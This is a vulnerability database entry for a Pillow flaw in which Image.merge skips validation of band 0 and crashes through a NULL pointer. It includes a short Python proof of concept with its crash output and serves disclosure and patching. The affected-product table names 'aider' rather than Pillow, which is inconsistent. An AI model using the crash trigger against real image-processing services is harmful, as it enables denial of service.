CVE-2026-112405: Pillow · NULL pointer dereference in Image.merge via an unvalidated band 0
Affects aiderSource GCVE Database
Not known to be exploited · CVSS 8.7 High.
Data as of 30 Oct 2026, 07:30 UTC
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 19 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewaiderpkg:brew/aiderOther threats | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary `Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it. ### Details The validation loop skips band 0: - `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those. For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes: - `src/libImaging/Bands.c:302`, `:311`, `:321` The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0: - `src/PIL/IptcImagePlugin.py:156-160` - `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function. ### PoC ```python from PIL import Image # Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only # bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0. band0 = Image.new("I", (4, 4)) Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))]) ``` Run it: ``` $ python 02_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #0 ImagingMerge src/libImaging/Bands.c:311 #1 _merge src/_imaging.c:2492 SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge ``` The null address confirms the dereference of the missing `image8` plane for band 0. ### Impact NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.
References
- github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-112405 (opens in a new tab)
- github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86 (opens in a new tab)
- github.com/python-pillow/Pillow (opens in a new tab)
- github.com/python-pillow/Pillow/releases/tag/13.0.0 (opens in a new tab)